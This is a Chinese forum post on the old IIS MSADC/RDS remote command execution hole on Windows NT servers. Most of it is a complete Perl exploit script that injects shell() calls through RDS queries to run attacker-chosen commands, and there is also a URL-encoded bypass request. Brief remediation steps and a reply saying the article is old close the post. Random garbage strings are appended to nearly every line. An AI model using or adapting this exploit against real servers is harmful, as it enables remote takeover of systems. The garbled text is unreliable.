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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) wUCDJY:,1  
y)/$ge _U  
涉及程序: GoSWH2N  
Microsoft NT server !)/iRw9re  
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描述: _'hCUXeY'  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 r\n h.}s  
/GuS IZg"_  
详细: JNFT6T)T15  
如果你没有时间读详细内容的话,就删除: 380->  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 6Sb'Otw.  
有关的安全问题就没有了。 (>LHj]}K  
&&9c&xgzE  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 'hlB;z|T  
bN4&\d*u#  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 {{]=zt|69  
关于利用ODBC远程漏洞的描述,请参看: e.}3OK  
Wl !!5\  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm eY 4`k  
XW~ BEa  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Q}Ze-JIL$  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp [  t  
LN.Bd,  
这里不再论述。 iVq#aXN  
 mF*?e/  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: wI@zPVY_i  
%%as>}.  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset -y l4tW  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! !qTpQ5Dm  
T+K` ^xv_L  
T3G/v)ufd  
#将下面这段保存为txt文件,然后: "perl -x 文件名" npO@Haw  
)l!J$X+R  
#!perl 6`DwEs?Y{  
# y/X:=d6"  
# MSADC/RDS 'usage' (aka exploit) script >?>ubM`,  
# FtFv<UV  
# by rain.forest.puppy -[zdX}x.:  
# &?/N}g@K  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me #JL&]Z+X6  
# beta test and find errors! bl" (<TM  
DMAf^.,S  
use Socket; use Getopt::Std; d`?U!?Si  
getopts("e:vd:h:XR", \%args); IS,zy+w  
d,Cz-.'sOf  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 4;BW  
u8-a-k5<  
if (!defined $args{h} && !defined $args{R}) { X+dR<GN+YX  
print qq~ Q$xa  
Usage: msadc.pl -h <host> { -d <delay> -X -v } u Q[vgNe*m  
-h <host> = host you want to scan (ip or domain) z'?7]C2b  
-d <seconds> = delay between calls, default 1 second >W`S(a Mn  
-X = dump Index Server path table, if available -TzI>Fz  
-v = verbose hsTFAfa'  
-e = external dictionary file for step 5 }mKGuCoH>  
l-<3{!  
Or a -R will resume a command session jzl?e[qPA  
D'7A2f  
~; exit;} qhV,u;\.  
:`+|'*b(A  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Smq r q  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} IvEMg2f}  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 2YL`3cgfb  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Q3'fz 9v  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 0hrCG3k.91  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 0V<Aub[${  
x r-;,W  
if (!defined $args{R}){ $ret = &has_msadc; Np.no$_  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Z B~l2  
rnnX|}J  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" "%{,T  
. "cmd /c "; Tg"' pO  
$in=<STDIN>; chomp $in; ]LEoOdDN"C  
$command="cmd /c " . $in ; 6uu^A9x  
^y&q5p jj  
if (defined $args{R}) {&load; exit;} ;\<""Yj@l  
\p5|}<Sr)  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; zb"rMzCH  
&try_btcustmr; SQh+5  
! 9d _Gf-  
print "\nStep 2: Trying to make our own DSN..."; #d7N| 9_  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; !OPSSP]-  
,9=gVW{  
print "\nStep 3: Trying known DSNs..."; >%9^%p^  
&known_dsn; 8K|J:[7  
TRF]i/Bs  
print "\nStep 4: Trying known .mdbs..."; 1i4WWK7k  
&known_mdb; C1h#x'k  
;$vLq&(}  
if (defined $args{e}){ |w=Ec#)t4  
print "\nStep 5: Trying dictionary of DSN names..."; 8{R&EijC  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } }TSgAwsbC  
LMAmpVo  
print "Sorry Charley...maybe next time?\n"; 8QT<M]N%  
exit; Tak t_N  
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############################################################################## *dN N<  
X` ATH^S  
sub sendraw { # ripped and modded from whisker Yg/}ghF\  
sleep($delay); # it's a DoS on the server! At least on mine... /dLA`=rZx  
my ($pstr)=@_; L~IE,4  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || #>=8w9]  
die("Socket problems\n"); t\zbEN  
if(connect(S,pack "SnA4x8",2,80,$target)){ PkTf JQP8  
select(S); $|=1; 0mTEim  
print $pstr; my @in=<S>; [q1Unm  
select(STDOUT); close(S); Zb."*zL  
return @in; .l \r9I(  
} else { die("Can't connect...\n"); }} $0#6"urG  
|k6Ox*  
############################################################################## R"Kz!NTB  
H8&p<=  
sub make_header { # make the HTTP request vs +QbI6>-  
my $msadc=<<EOT 'G8 ?'u_)  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 HMV)U{  
User-Agent: ACTIVEDATA +oZH?N4yaM  
Host: $ip h$pk<<  
Content-Length: $clen 09d9S`cS\  
Connection: Keep-Alive .#0H{mk  
tw<P)V\h  
ADCClientVersion:01.06 ]boE{R!I  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3  D,Lp|V  
%G[/H.7s-  
--!ADM!ROX!YOUR!WORLD! [(ygisqt  
Content-Type: application/x-varg |c0,  
Content-Length: $reqlen ?ok)>P  
Qs l80~n_7  
EOT 89Z#|#uM5  
; $msadc=~s/\n/\r\n/g; B`{mdjMy  
return $msadc;} 90fs:.  
&s8<6P7  
############################################################################## qnJ50 VVW  
NEV p8)w  
sub make_req { # make the RDS request >3PMnI  
my ($switch, $p1, $p2)=@_; T@P!L  
my $req=""; my $t1, $t2, $query, $dsn; zTY;8r+  
.'j29 6[u  
if ($switch==1){ # this is the btcustmr.mdb query !n<o)DsZR  
$query="Select * from Customers where City=" . make_shell(); ?:igumeYX  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . V_"f|[1  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} I^_NC&m  
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elsif ($switch==2){ # this is general make table query Kkv<"^H  
$query="create table AZZ (B int, C varchar(10))"; +sf .PSz$  
$dsn="$p1";} UpfZi9v?W  
wL3,g2-L  
elsif ($switch==3){ # this is general exploit table query exZLj0kvF  
$query="select * from AZZ where C=" . make_shell(); M0w/wt|  
$dsn="$p1";} opp!0:jS*  
|cd-!iJX-  
elsif ($switch==4){ # attempt to hork file info from index server ;:]\KJm}?  
$query="select path from scope()"; 6B6vP%H#  
$dsn="Provider=MSIDXS;";} ->gZ)?Fqy  
3FNT|QF  
elsif ($switch==5){ # bad query (D7$$!}  
$query="select"; fS=hpL6]@  
$dsn="$p1";} ~OypE4./1  
wK!~tYxP  
$t1= make_unicode($query); u0 y 1  
$t2= make_unicode($dsn);  {mTytT  
$req = "\x02\x00\x03\x00"; F)Oe9x\/  
$req.= "\x08\x00" . pack ("S1", length($t1)); }6]0hWsN[  
$req.= "\x00\x00" . $t1 ; L0NA*C   
$req.= "\x08\x00" . pack ("S1", length($t2)); z|N3G E(.@  
$req.= "\x00\x00" . $t2 ; d 6t:hn  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ig+4S[L~n  
return $req;} )rm4cW_  
X+82[Y,mB.  
##############################################################################  L,LNv  
ST dNM\+  
sub make_shell { # this makes the shell() statement =L]Q2V}  
return "'|shell(\"$command\")|'";} |E)aT#$f'  
{38bv. 3'  
############################################################################## w_wslN,)  
iG<Som  
sub make_unicode { # quick little function to convert to unicode l"+J c1\X  
my ($in)=@_; my $out; SA"8!soY3  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } J'T=q/  
return $out;} ;zH HIdQ>-  
_NZ@4+aW  
############################################################################## `{Tk@A_yd  
p/ GVTf  
sub rdo_success { # checks for RDO return success (this is kludge) bPbb\|u0d  
my (@in) = @_; my $base=content_start(@in); '{b1!nC;  
if($in[$base]=~/multipart\/mixed/){ s60 TxB  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} L{fFC%|l2L  
return 0;} q_[G1&MC  
I5ZqBB  
############################################################################## |> enp>  
~d >W?A  
sub make_dsn { # this makes a DSN for us v& $k9)]  
my @drives=("c","d","e","f"); [wnDHy6W  
print "\nMaking DSN: "; ,5Vt]#F5@  
foreach $drive (@drives) { jp2Q 9Z  
print "$drive: "; r'7LR  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . S<wj*"|.s  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" PoSpkJH  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); a;AzY'R  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Dt|)=a  
return 0 if $2 eq "404"; # not found/doesn't exist EHf\L  
if($2 eq "200") { `'S0*kMT  
foreach $line (@results) { 9 ; i\g=  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 2f~($}+*  
} return 0;} %;xOB^H^  
~@W*r5/  
############################################################################## Kg\R+i@#<  
K }$&:nao  
sub verify_exists { 3L5r*fa  
my ($page)=@_; U9hS<}<Ki  
my @results=sendraw("GET $page HTTP/1.0\n\n"); OQ&'Dti  
return $results[0];} RP4Ku9hk  
~ 5"JzT  
############################################################################## @OpNHQat9  
/0MDISQy9  
sub try_btcustmr { G4 _,  
my @drives=("c","d","e","f"); ?Bi*1V<R  
my @dirs=("winnt","winnt35","winnt351","win","windows"); V^s0fWa  
Di.3113t  
foreach $dir (@dirs) { Xd `vDgD  
print "$dir -> "; # fun status so you can see progress WYcA8 X/  
foreach $drive (@drives) { 5e8AmY8;  
print "$drive: "; # ditto }28=  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; , E )|y4  
$reqlenlen=length( "$reqlen" ); #KlCZ~s  
$clen= 206 + $reqlenlen + $reqlen; Ol_q{^  
E0n6$5Uc?  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); b \7iY&.C|  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 2BXy<BM @  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ~nLN`H d  
bC!`@/  
############################################################################## OX]V) QHVZ  
cZ8.TsI~  
sub odbc_error { zmuMWT;  
my (@in)=@_; my $base; xGk6n4Gg  
my $base = content_start(@in); FDzqL;I  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this O*6n$dUj3  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; !A3-0zN!  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; bPK Ow<  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; y] oaO+  
return $in[$base+4].$in[$base+5].$in[$base+6];} ENVk{QE!  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; #18FA|   
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . d~J-|yyT  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 9p* gU[  
YIhm$A"z0"  
############################################################################## +EXJ\wy  
Y*oDO$6  
sub verbose { iSLGwTdLn  
my ($in)=@_; ,i9Byx#TN  
return if !$verbose; . 5y"38e  
print STDOUT "\n$in\n";} ZzGahtx)Y  
y m,H@~  
############################################################################## iRo.RU8>  
;h=*!7:  
sub save { k*rZ*sSp  
my ($p1, $p2, $p3, $p4)=@_; `>(W"^  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; )m3Uar  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Oc].@Jy  
close OUT;} Df =dt  
YV% 5y1 i  
############################################################################## pW0dB_  
:e1o<JgPt  
sub load { ~5 N)f UI\  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; -/C)l)V}  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); O4 3YY2  
@p=<IN>; close(IN); $q?$]k|M`  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); Wm~` ~P  
$target= inet_aton($ip) || die("inet_aton problems"); Dn9w@KO  
print "Resuming to $ip ..."; ocbB&  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; DhLqhME53  
if($p[1]==1) { sAn0bX  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; w>fdQ!RdP  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; /PBaIoJE  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); eK_*2=;XRW  
if (rdo_success(@results)){print "Success!\n";} #t8{R~y"gv  
else { print "failed\n"; verbose(odbc_error(@results));}} n%^ LPD  
elsif ($p[1]==3){ Gc]~w D$  
if(run_query("$p[3]")){ wm{3&m  
print "Success!\n";} else { print "failed\n"; }} -ezY= 0Q&  
elsif ($p[1]==4){ gF=jf2{YX  
if(run_query($drvst . "$p[3]")){ J&/lx${  
print "Success!\n"; } else { print "failed\n"; }} JG[o"&Sd  
exit;} thi1kJ`L  
_mvxsG  
############################################################################## v44}%$  
r[(xj n  
sub create_table { Lf([dE1  
my ($in)=@_; G0 J4O!3  
$reqlen=length( make_req(2,$in,"") ) - 28; c !ZM  
$reqlenlen=length( "$reqlen" ); yq-=],h  
$clen= 206 + $reqlenlen + $reqlen; HW4 .zw  
my @results=sendraw(make_header() . make_req(2,$in,"")); >Iewx Gb>  
return 1 if rdo_success(@results); ,Y?sfp  
my $temp= odbc_error(@results); verbose($temp); % }|cb7l  
return 1 if $temp=~/Table 'AZZ' already exists/; eivtH P  
return 0;} `i) 2nNJ"  
93qwH%  
############################################################################## `!:q;i]}  
1% F?B-k  
sub known_dsn { <$w?/y/'  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go u cwnA  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", ev0oO+u  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", w@-PqsF  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); W6T|iZoV"r  
"vYE+   
foreach $dSn (@dsns) { @l1  
print "."; +x? #DH-  
next if (!is_access("DSN=$dSn")); =(a1+. O  
if(create_table("DSN=$dSn")){ aV o;~h~  
print "$dSn successful\n"; *%w6 9#D  
if(run_query("DSN=$dSn")){ Ut-B^x)gl  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { {qW~"z*  
print "Something's borked. Use verbose next time\n";}}} print "\n";} P&d"V<  
b*;"q9u5  
############################################################################## ?&LZB}1R  
E5el?=,i  
sub is_access { bPD`+: A_  
my ($in)=@_; 8(.mt/MR  
$reqlen=length( make_req(5,$in,"") ) - 28; R+q"_90_  
$reqlenlen=length( "$reqlen" ); V}d 9f 2  
$clen= 206 + $reqlenlen + $reqlen; I KtB;  
my @results=sendraw(make_header() . make_req(5,$in,"")); s]T""-He  
my $temp= odbc_error(@results); l kyzNy9R  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Mypc3  
return 0;} I1X /Lj=  
M<SdPC(+  
############################################################################## &1l=X]%  
IKMeJ(:S  
sub run_query { #j#_cImE  
my ($in)=@_; |py6pek|  
$reqlen=length( make_req(3,$in,"") ) - 28; v5;I]?72l~  
$reqlenlen=length( "$reqlen" ); $@d9<83=  
$clen= 206 + $reqlenlen + $reqlen; wiaX&-c]8  
my @results=sendraw(make_header() . make_req(3,$in,"")); IM$2VlC  
return 1 if rdo_success(@results); w{~+EolK  
my $temp= odbc_error(@results); verbose($temp); >{eCh$L  
return 0;} nzjkX4KV  
}>^Q'BW;65  
############################################################################## 4L-:*b_v\  
L- pVltX  
sub known_mdb { xvzr:p P  
my @drives=("c","d","e","f","g"); 2oa#0`{  
my @dirs=("winnt","winnt35","winnt351","win","windows"); %8*64T")  
my $dir, $drive, $mdb; {GvTfZfp  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; V._6=ZJ  
"G-1>:   
# this is sparse, because I don't know of many aK,z}l(N  
my @sysmdbs=( "\\catroot\\icatalog.mdb", gH2,\z`[4  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", B63pgPX  
"\\system32\\certmdb.mdb", YY?a>j."a  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% /&u<TJ4  
N=:5eAza  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", Wv__ wZ  
"\\cfusion\\cfapps\\forums\\forums_.mdb", `28};B>  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", %}86D[PF  
"\\cfusion\\cfapps\\security\\realm_.mdb", M :3u@06a  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ] 2DH;  
"\\cfusion\\database\\cfexamples.mdb", ZYf2XI(_"  
"\\cfusion\\database\\cfsnippets.mdb", U. AjYez  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 2<&Bw2  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", -p-B2?)A  
"\\cfusion\\brighttiger\\database\\cleam.mdb", `X,yM-(  
"\\cfusion\\database\\smpolicy.mdb", Qr1e@ =B  
"\\cfusion\\database\cypress.mdb", ZpUCfS)|&  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", j8|g!>Nv  
"\\website\\cgi-win\\dbsample.mdb", =fm]Dl9h*  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", Ggh.dZI4  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" J7C4V'_  
); #these are just P5lqSA{6  
foreach $drive (@drives) { as=m`DqOh  
foreach $dir (@dirs){ n~g)I&  
foreach $mdb (@sysmdbs) { ]zO/A4  
print "."; :16P.z1L  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ Z5c~^jL$-  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; /h v4x9  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ k3+e;[My+  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; >7!6nF3x,  
} else { print "Something's borked. Use verbose next time\n"; }}}}} tb :L\A^:  
%Pksv}  
foreach $drive (@drives) { l5+gsEux]  
foreach $mdb (@mdbs) { ,>t69 Ad  
print "."; \#68;)+=  
if(create_table($drv . $drive . $dir . $mdb)){ Ku&!?m@C  
print "\n" . $drive . $dir . $mdb . " successful\n"; %/>xO3"T  
if(run_query($drv . $drive . $dir . $mdb)){ X2tk[Kr  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; |uW:r17  
} else { print "Something's borked. Use verbose next time\n"; }}}} L< zD<M  
} &V|>dLT>A  
5Z4- Z  
############################################################################## |QV!-LK  
jjJ2>3avY  
sub hork_idx { qQ!1t>j+H  
print "\nAttempting to dump Index Server tables...\n"; Soie^$ Y  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; {0! ~C=P  
$reqlen=length( make_req(4,"","") ) - 28; bYz&P`o}  
$reqlenlen=length( "$reqlen" ); =A Vg Iv  
$clen= 206 + $reqlenlen + $reqlen; @/r^%G  
my @results=sendraw2(make_header() . make_req(4,"","")); _"4xKh)  
if (rdo_success(@results)){ GE>[*zN  
my $max=@results; my $c; my %d; q1E:l!2al  
for($c=19; $c<$max; $c++){ )2,eFNB#n  
$results[$c]=~s/\x00//g; T[= S$n -'  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; G/%iu;7ZCb  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 7Cjd.0T=(  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; lTU$0CG  
$d{"$1$2"}="";} b$k&dT\o  
foreach $c (keys %d){ print "$c\n"; } @aQ1khEd  
} else {print "Index server doesn't seem to be installed.\n"; }} y~IuPc  
yL;M"L  
############################################################################## c9R 5w.t:  
nC {K$  
sub dsn_dict { g*w<*  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); K78rg/`  
while(<IN>){ 86f2'o+  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; CF|]e:  
next if (!is_access("DSN=$dSn")); 6<0n *&  
if(create_table("DSN=$dSn")){ ;n\= R 5.  
print "$dSn successful\n"; Y!6/[<r$~k  
if(run_query("DSN=$dSn")){ s4_/&h  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { T0)"1D<l  
print "Something's borked. Use verbose next time\n";}}} _Lw OOZj  
print "\n"; close(IN);} vIvVq:6_3  
EQqx+J&!  
############################################################################## kY]W Qu  
PpLU  
sub sendraw2 { # ripped and modded from whisker [sW.CK= 3  
sleep($delay); # it's a DoS on the server! At least on mine... Og;-B0,A  
my ($pstr)=@_; EBtLzbj  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || yfU<UQ!1  
die("Socket problems\n"); Pmi#TW3X  
if(connect(S,pack "SnA4x8",2,80,$target)){ /~4 "No@  
print "Connected. Getting data"; %!ebO*8q  
open(OUT,">raw.out"); my @in; b| SE<\  
select(S); $|=1; print $pstr; K ~44i  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} &rDM<pO #-  
close(OUT); select(STDOUT); close(S); return @in; Wl h~)   
} else { die("Can't connect...\n"); }} \:> Wpqw  
*&AfR8x_z  
############################################################################## {{C`mgC  
::n;VY2&  
sub content_start { # this will take in the server headers P,ua<B}L  
my (@in)=@_; my $c; bslrqUk_`=  
for ($c=1;$c<500;$c++) { Y2o6kS{x  
if($in[$c] =~/^\x0d\x0a/){ /ug8]Lo0  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } zo;^m|  
else { return $c+1; }}} J8y0d1SG  
return -1;} # it should never get here actually \, !Q Jp4  
\.XLcz  
############################################################################## 2cu#lMq  
HE<1v@jW  
sub funky { `RMI(zI3g.  
my (@in)=@_; my $error=odbc_error(@in); crO@?m1  
if($error=~/ADO could not find the specified provider/){ BQ^H? jo  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; W&h[p_0  
exit;} _ >` X]I;  
if($error=~/A Handler is required/){ p2PY@d}}.  
print "\nServer has custom handler filters (they most likely are patched)\n"; cNzt%MjP  
exit;} 0'&X T^"  
if($error=~/specified Handler has denied Access/){ Cw5%\K$=  
print "\nServer has custom handler filters (they most likely are patched)\n"; co _oMc  
exit;}} !~_zm*CqbZ  
tgL$"chj@x  
############################################################################## D[O{(<9  
?}Z1(it0  
sub has_msadc { FZB~|3eq{  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); $ _8g8r}  
my $base=content_start(@results); hP J4Oj1O  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); $- +/$!  
return 0;} ~-a'v!  
wPbkUVO  
######################## x*oWa,  
&iN--~}!$  
79zJ\B_  
解决方案: .@iFa3  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll \qi|Js*{  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 T~sTBGcv  
P`U<7xF~  
拿出来充数 哈哈
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